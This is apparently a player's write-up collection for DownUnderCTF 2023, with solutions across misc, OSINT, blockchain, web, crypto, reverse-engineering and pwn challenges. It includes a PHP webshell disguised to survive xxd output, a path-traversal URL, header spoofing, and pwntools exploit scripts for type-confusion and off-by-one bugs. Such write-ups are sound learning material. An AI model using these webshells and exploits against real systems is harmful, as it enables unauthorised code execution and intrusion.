Skip to content

Latest commit

 

History

History
699 lines (499 loc) · 21.5 KB

DownUnderCTF_2023.md

File metadata and controls

699 lines (499 loc) · 21.5 KB

DownUnderCTF 2023

misc

discord

discord -> rules -> monkey video -> 3:45

NATO phonetic alphabet

DUCTF{REJECTHUMANITYRETURNTOOURSUPPORTQUEUE}

𝕏

view the yellow piece of flag in memes and concatenate it together

DUCTF{ThanksEl0nWeCantCall1tTheTw1tterFl4gN0w}

blinkybill

audacity -> effect -> delete the unnecessary frequency and listen along with the original sound (superposition principle) to make the morse code more clearer

Also, google auto complete is useful

DUCTF{BRINGBACKTHETREES}

Welcome to DUCTF!

read the program buttom up and collate it with clear version

;H┴MƎɹ┴S + ɹnoHʎddɐH + Ⅎ∀˥פ ƎWWIפ	

;„ƎɹƐɥʍƐɯoϛ_ʞɔ0lƆoϛ-sʇƖ„ = ɹnoHʎddɐH NOʞƆƎɹ I 
;„{Ⅎ┴Ɔ∩D„ = Ⅎ∀˥פ NOʞƆƎɹ I
;„}„ = H┴MƎɹ┴S NOʞƆƎɹ I
¡Ǝ┴∀W ⅄∀D,פ

aussie++

DUCTF{1ts-5oCl0ck_5om3wh3rE}

My First C Program!

DreamBard

DUCTF{I_D0nT_Th1nk_th15_1s_R34L_C}

impossible

Found some interesting pyc in app/utils/__pycache__

It is the cache for importing python as library, it may contains old data for last change of library

Read the crypto.cpython-310.pyc and found key might be f122df4b445b2c383ace204f1571e410d7c5061c8852ed0b1f1a5e696aab0bea

DUCTF{o0p5_i_f0rG0t_aBoUt_pYc4Ch3!!1!}

Survey

Finish teh survey

The most difficult is to regonize the flag inside image

DUCTF{48_fun_hours_thx_4_playing_DUCTF4}

(X) helpless

In the challenge, it modify the shell as python help shell

For python help, it can do some RCE trick. [Ref]. But in this cnallenge it can not help us.

In the Official Writeup, there is a hint and suggest us find a features in less to read the file.

After reading the manual, I found :e can be useful. The full instruction as below.

  1. Enter os to get into less mode
  2. Enter :e to examine a file
  3. Examine /home/ductf/flag.txt

DUCTF{sometimes_less_is_more}

(X) Needle In IAM

writeup

Install gcloud SDK first

Then gcloud init to do the initialize

Add credential file with the following command

gcloud auth activate-service-account --key-file=credentials.json

Then use the following command to list all the project and filter the item contains DUCTF ref

gcloud iam roles list --project=needle-in-iam --filter="desc
ription:DUCTF"

DUCTF{D3scr1be_L1ST_Wh4ts_th3_d1fference_FDyIMbnDmX}

(X) pyny

ref

The hardest part is that a leading newline needs to be preserved

:::spoiler solve.py

data = open("pyny.py").read().strip().replace("#coding: punycode","")
print(data.encode().decode("punycode"))

:::

DUCTF{python_warmup}

(X) SimpleFTPServer

writeup

When we connected to the server. It doesn't ask us the credential and we can do many operate to the server.

We can use LIST command to do ls stuff in ftp first. We can see that there is a /chal directory

LIST
150 Here comes the directory listing.
drwxr-xr-x 1 user group 4096 Aug 04 02:02 usr
drwxr-xr-x 1 user group 4096 Aug 04 02:06 lib64
drwxr-xr-x 1 user group 4096 Aug 21 01:13 lib
drwxr-xr-x 1 user group 4096 Aug 21 01:14 bin
drwxr-xr-x 1 user group 4096 Aug 21 01:12 kctf
drwxr-xr-x 1 user group 4096 Aug 30 04:23 chal
226 Directory send OK.

Then, we can use CWD command to change the current directory. Just like cd command

CWD chal
250 OK.

Then we do the LIST again

LIST
150 Here comes the directory listing.
-rwxr-xr-x 1 user group 7151 Aug 30 04:23 pwn
-rw-r--r-- 1 user group 27 Aug 31 02:14 flag.txt
226 Directory send OK.

We found that there is a flag.txt file. We can use RETR to get the content of the file

RETR flag.txt
150 Opening data connection.
226 Transfer complete.
DUCTF{- Actually no, I don't feel like giving that up yet. ;)

It don't give use the flag directly. But there is another pwn file. It may be the source code / binary of the FTP server

We can observer the source code. It use the python as the FTP server

We can found that it use the function in the class as the FTP command. Also, it read the flag.txt into global variable FLAG

In the writeup, we can use __init__ as the ftp command, and it will call the __init__ function directly. So we can try to call the __init__.__globals__.get(FLAG) to get the value of the global variable FLAG

__init__.__globals__.get FLAG
DUCTF{15_this_4_j41lbr34k?}

DUCTF{15_this_4_j41lbr34k?}

osint

Excellent Vista!

exiftool -n ExcellentVista.jpg find GPS location

google map found location

DUCTF{Durrangan_Lookout}

Bridget's Back!

Google lens found it is Golden Gate Bridge

After looking around, found the most possible place

DUCTF{H._Dana_Bowers_Rest_Area_&_Vista_Point}

faraday

using API and Triangulation (also gussing) to find the location

Melbourne -> Echuca -> Bendigo -> Mount Buller -> Myrtleford -> ... -> Milawa

{
  "device": {
    "phoneNumber": "+61491578888"
  },
  "area": {
    "areaType": "Circle",
    "center": {
      "latitude": -36.44975198876775,
      "longitude": 146.43384597112023
    },
    "radius": 2000
  },
  "maxAge": 120
}

DUCTF{Milawa}

blockchain

Eight Five Four Five

Copy script from here and modify it

:::spoiler solve.js

var Web3 = require('web3');
var web3 = new Web3('https://blockchain-eightfivefourfive-80842a1fe7857165-eth.2023.ductf.dev:8545');

var myaddr = "0x7B674911d8d1cc8A958340e898Bd80AFFaB45C07";
var mypriv = "0xcc6c90e0ae1eaa6450f4ec692bce9e15b29ee7392f8b360876bdde33dd87c44d";
var contractaddr = "0xf22cB0Ca047e88AC996c17683Cee290518093574";

const ABI = [
	{
		"inputs": [
			{
				"internalType": "string",
				"name": "some_string",
				"type": "string"
			}
		],
		"stateMutability": "nonpayable",
		"type": "constructor"
	},
	{
		"inputs": [],
		"name": "isSolved",
		"outputs": [
			{
				"internalType": "bool",
				"name": "",
				"type": "bool"
			}
		],
		"stateMutability": "view",
		"type": "function"
	},
	{
		"inputs": [],
		"name": "readTheStringHere",
		"outputs": [
			{
				"internalType": "string",
				"name": "",
				"type": "string"
			}
		],
		"stateMutability": "view",
		"type": "function"
	},
	{
		"inputs": [
			{
				"internalType": "string",
				"name": "answer",
				"type": "string"
			}
		],
		"name": "solve_the_challenge",
		"outputs": [],
		"stateMutability": "nonpayable",
		"type": "function"
	},
	{
		"inputs": [],
		"name": "you_solved_it",
		"outputs": [
			{
				"internalType": "bool",
				"name": "",
				"type": "bool"
			}
		],
		"stateMutability": "view",
		"type": "function"
	}
];

var mycontract = new web3.eth.Contract(ABI, contractaddr);

web3.eth.accounts.wallet.add(mypriv);
mycontract.methods.readTheStringHere().call().then(
    function(result){
        console.log(result);
        mycontract.methods.solve_the_challenge(result).send({from: myaddr, gas: 100000}).then(
            function(result){
                console.log(result);
                mycontract.methods.isSolved().call().then(console.log);
            }
        );
    }
); // 'I can connect to the blockchain!'

// mycontract.methods.isSolved().call().then(console.log);

:::

⭐ Just remember installing web3@1.18.0 not the latest version

DUCTF{I_can_connect_to_8545_pretty_epic:)}

web

proxed

add X-Forwarded-For: 31.33.33.7 in request header

DUCTF{17_533m5_w3_f0rg07_70_pr0x}

static file server

https://web-static-file-server-9af22c2b5640.2023.ductf.dev/files/..%2f..%2f..%2f..%2f..%2fflag.txt

DUCTF{../../../p4th/tr4v3rsal/as/a/s3rv1c3}

xxd-server

It is a upload server, which will xxd the uploaded file and output it

For the xxd functionailty, it will look like original xxd command output, but it actually using sprintf to do such work. So it may not have a command injection problem

Also, in .htaccess, it will force the file output stream become plaintext except .php

:::spoiler .htaccess

# Everything not a PHP file, should be served as text/plain
<FilesMatch "\.(?!(php)$)([^.]*)$">
    ForceType text/plain
</FilesMatch>

:::

So maybe it can upload a php webshell?

For a safety craft php script, it is possible. Here is my script:

:::spoiler solve.php

<?php $a='      ';$b='exec';$a='';$g=$_GET;$a=' ';$b($g["c"]);?>

:::

It seems wierd, but when it convert to xxd output, it will become the following:

00000000: 3c3f 7068 7020 2461 3d27 2020 2020 2020  <?php $a='
00000010: 273b 2462 3d27 6578 6563 273b 2461 3d27  ';$b='exec';$a='
00000020: 273b 2467 3d24 5f47 4554 3b24 613d 2720  ';$g=$_GET;$a='
00000030: 273b 2462 2824 675b 2263 225d 293b 3f3e  ';$b($g["c"]);?>

for prettier, it will look obviously as a webshell:

00000000: 3c3f 7068 7020 2461 3d27 2020 2020 2020  
<?php
    $a='
00000010: 273b 2462 3d27 6578 6563 273b 2461 3d27  ';
    $b='exec';
    $a='
00000020: 273b 2467 3d24 5f47 4554 3b24 613d 2720  ';
    $g=$_GET;
    $a='
00000030: 273b 2462 2824 675b 2263 225d 293b 3f3e  ';
    $b($g["c"]);
?>

Ignore the $a part, it is just a exec($_GET["c"]);

But it still a bind webshell, so we can use cat /flag >> ./solve.php to dump the flag into file we uploaded

DUCTF{00000000__7368_656c_6c64_5f77_6974_685f_7878_6421__shelld_with_xxd!}

grades_grades_grades

After observe the source code, found it will store all credential in JWT, and will setup

But, in the signup procedure, it sets all the paylaod into JWT without check. So we can forgery signup packet and add is_teacher=1 paylaod in it

It will automate generate a JWT with Teacher role, which make us are able to view flag page

DUCTF{Y0u_Kn0W_M4Ss_A5s1GnM3Nt_c890ne89c3}

(X) actually-proxed

Writeup

In the source code, it modify the X-Forwarded-For header and make it as the real client IP

for i, v := range headers {
    if strings.ToLower(v[0]) == "x-forwarded-for" {
        headers[i][1] = fmt.Sprintf("%s, %s", v[1], clientIP)
        break
    }
}

But when X-Forwarded-For occur twice, only the first X-Forwarded-For been modified. The second one is as same as original. And in the procedure, the second one will cover the first one, which is teh result we want

curl -v http://actually.proxed.duc.tf:30009 -H "X-Forwarded-For: 31.33.33.7" -H "X-Forwarded-For: 31.33.33.7"

DUCTF{y0ur_c0d3_15_n07_b3773r_7h4n_7h3_574nd4rd_l1b}

crypto

complementary

factordb

m1 = 1168302403781268101731523384107546514884411261
m2 = num // m1
print(long_to_bytes(m2) + long_to_bytes(m1))

DUCTF{is_1nt3ger_f4ct0r1s4t10n_h4rd?}

flag art

find index in palette and do CRT

:::spoiler solve.py

from sage.all import CRT
import string

with open("/home/ywc/myworkspace/ductf_2023/flag_art/output.txt") as fh:
    data = fh.read()

palette = '.=w-o^*'

flag = b""
temp = []
for d in data:
    if d in palette:
        temp.append(palette.find(d))
        if(len(temp) == 4):
            m = CRT(temp, [2,3,5,7])
            if chr(m) not in string.printable:
                m += (2*3*5*7)
            flag += bytes([m])
            temp.clear()
            print(flag)

:::

DUCTF{r3c0nstruct10n_0f_fl4g_fr0m_fl4g_4r7_by_l00kup_t4bl3_0r_ch1n3s3_r3m41nd3r1ng?}

randomly chosen

In the source code, it choose a number from 0 to 1337 as the random seed for random

Then, it use random.choice to sample the flag string

We can try all the 1338 keys and compare the generated distribution is as same as sampled flag string. If it is same, recover the flag

:::spoiler solve.py

import random

with open("output.txt") as fh:
    data = fh.read().strip()

distribution = []
for seed in range(0, 1338):
    random.seed(seed)
    distribution.append(random.choices(range(0,61), k=61*5))

for i,dist in enumerate(distribution):
    if dist[-1] == 1 and dist[1] == 0:
        origflag = [0 for _ in range(61)]
        for j,d in enumerate(dist):
            origflag[d] = data[j]
        print(''.join(origflag))

:::

DUCTF{is_r4nd0mn3ss_d3t3rm1n1st1c?_cba67ea78f19bcaefd9068f1a}

apbq rsa i

It is a RSA challenge, with p,q in 1024 bit length. So it can not easily factorize n.

But it give us some hint. It calculates 2 $hint = ap+bq$ value, with a 12 bit length and b 312 bit length

we can find a set of $x_1$, $x_2$ so that $x_1 * a_1 == x_2 * a_x$, which makes $x_1 * hint1 - x_2 * hint2$ = $x_1a_1p+x_1b_1q - x_2a_2p+x_2b_2q$ = $(x_1a_1 - x_2a_2)p+(x_1b_1 - x_2b_2)q$ = $(x_1b_1 - x_2b_2)*q$

We can perform GCD with this value along with n, and check whether is has a common factor is not 1 and is a prime. This factor might be the $q$

Full script: :::spoiler solve.py

from Crypto.Util.number import long_to_bytes, GCD, isPrime
from tqdm import trange

n = ...
c = ...
hints = ...

for a in trange(1,2**12):
    for b in range(1,2**12):
        newnum = a*hints[0] - b*hints[1]
        q = GCD(newnum, n)
        if(q != 1 and isPrime(q)):
            q = GCD(newnum, n)
            p = n // q
            assert isPrime(p)
            assert p*q == n
            phi = (p-1)*(q-1)
            d = pow(0x10001,-1,phi)
            print(long_to_bytes(pow(c,d,n)))

:::

DUCTF{gcd_1s_a_g00d_alg0r1thm_f0r_th3_t00lbox}

rev

All Father's Wisdom

found wierd buffer in main.print_flag

follow the code to print flag (xor with 0x11 -> fromhex)

cyberchef

DUCTF{Od1n_1S-N0t_C}

the bridgekeepers 3rd question

Found the following js in text/javascript (seen in source)

Just make it return blue, just as find a way from a -> b -> ... -> n

:::spoiler javascript

let answer = fun(x);
  
  if (!/^[a-z]{13}$/.exec(answer)) return "";

  let a = [], b = [], c = [], d = [], e = [], f = [], g = [], h = [], i = [], j = [], k = [], l = [], m = [];
  let n = "blue";
  a.push(a, a, a, a, a, a, a, a, a, a, a, a, a, a, a, a, a, b, a, a, a, a, a, a, a, a);
  b.push(b, b, b, b, c, b, a, a, b, b, a, b, a, b, a, a, b, a, b, a, a, b, a, b, a, b);
  c.push(a, d, b, c, a, a, a, c, b, b, b, a, b, c, a, b, b, a, c, c, b, a, b, a, c, c);
  d.push(c, d, c, c, e, d, d, c, c, c, c, b, c, c, d, c, b, d, a, d, c, c, c, a, d, c);
  e.push(a, e, f, c, d, e, a, e, c, d, c, c, c, d, a, e, b, b, a, d, c, e, b, b, a, a);
  f.push(f, d, g, e, d, e, d, c, b, f, f, f, a, f, e, f, f, d, a, b, b, b, f, f, a, f);
  g.push(h, a, c, c, g, c, b, a, g, e, e, c, g, e, g, g, b, d, b, b, c, c, d, e, b, f);
  h.push(c, d, a, e, c, b, f, c, a, e, a, b, a, g, e, i, g, e, g, h, d, b, a, e, c, b);
  i.push(h, a, d, b, d, c, d, b, f, a, b, b, i, d, g, a, a, a, h, i, j, c, e, f, d, d);
  j.push(b, f, c, f, i, c, b, b, c, j, i, e, e, j, g, j, c, k, c, i, h, g, g, g, a, d);
  k.push(i, k, c, h, h, j, c, e, a, f, f, h, e, g, c, l, c, a, e, f, d, c, f, f, a, h);
  l.push(j, k, j, a, a, i, i, c, d, c, a, m, a, g, f, j, j, k, d, g, l, f, i, b, f, l);
  m.push(c, c, e, g, n, a, g, k, m, a, h, h, l, d, d, g, b, h, d, h, e, l, k, h, k, f);

  walk = a;

  for (let c of answer) {
    walk = walk[c.charCodeAt() - 97];
  }

  if (walk != "blue") return "";

  return {toString: () => _ = window._ ? answer : "blue"};

:::

The answer is rebeccapurple

DUCTF{rebeccapurple}

pwn

downunderflow

Because of type incompatable between idx (unsigned short) and return of read_int_lower_than function (int), so it will have some vulnerability

Login id with -65529

DUCTF{-65529_==_7_(mod_65536)}

confusing

Type confusing and out-of-bound write trick

For the scanf("%lf", &d);, it can entering 1.39067116130910353795872316474E-309, which is 0x0000FFFFFFFF3419, can make d become 0x3419 and make z become -1 (0xffffffff)

For the scanf("%d", &s);, it can entering 1195461702, which is 0x47414c46 and it is FLAG in little endian

For the scanf("%8s", &f);, it can entering the byte string of 0xe586949b77e3f93f, which will become 1.6180339887 in IEEE754 (in little endian)

Full script:

:::spoiler solve.py

from pwn import *
from Crypto.Util.number import long_to_bytes
binary = "./confusing"

context.terminal = ["cmd.exe", "/c", "start", "bash.exe", "-c"]
context.log_level = "debug"
context.binary = binary

conn = remote("2023.ductf.dev", 30024)
# conn = process(binary)
# conn = gdb.debug(binary)

# 0x0000FFFFFFFF3419
# 0x47414c46
# 0xe586949b77e3f93f
conn.sendlineafter(b"d: ", b"1.39067116130910353795872316474E-309")
conn.sendlineafter(b"s: ", str(0x47414c46).encode())
conn.sendlineafter(b"f: ", long_to_bytes(0xe586949b77e3f93f))
conn.interactive()

:::

DUCTF{typ3_c0nfus1on_c4n_b3_c0nfus1ng!}

(X) one byte

This is an off-by-one attack ref

We can modify the last byte as a randomly number. And hope the control flow jump on the stack. We can fill in the address we want (win function)

So we will try again and again to get the hope. ref

Although it has PIE defense, it may leak the init address. We can calculate the win address with the init address leak, which is win = leak - 0x1bd + 0x203

:::spoiler solve.py

from pwn import *
from Crypto.Util.number import bytes_to_long
binary = "./onebyte"

context.terminal = ["cmd.exe", "/c", "start", "bash.exe", "-c"]
context.log_level = "debug"
context.binary = binary

while True:
    conn = remote("2023.ductf.dev", 30018)
    # conn = process(binary)
    # conn = gdb.debug(binary, "b main")

    conn.recvuntil(b"0x")
    d = conn.recv(8)
    leak = bytes_to_long(bytes.fromhex(d.decode()))

    print(d)
    win = leak + (0x203 - 0x1bd)
    print(hex(win))
    conn.sendafter(b"Your turn: ", p32(win) * 4 + b"x")
    conn.sendline(b'whoami')
    try:
        result = conn.recvline().decode()
        print(result)
        conn.interactive()
        conn.close()
        exit()
    except EOFError:
        conn.close()

:::

DUCTF{all_1t_t4k3s_is_0n3!}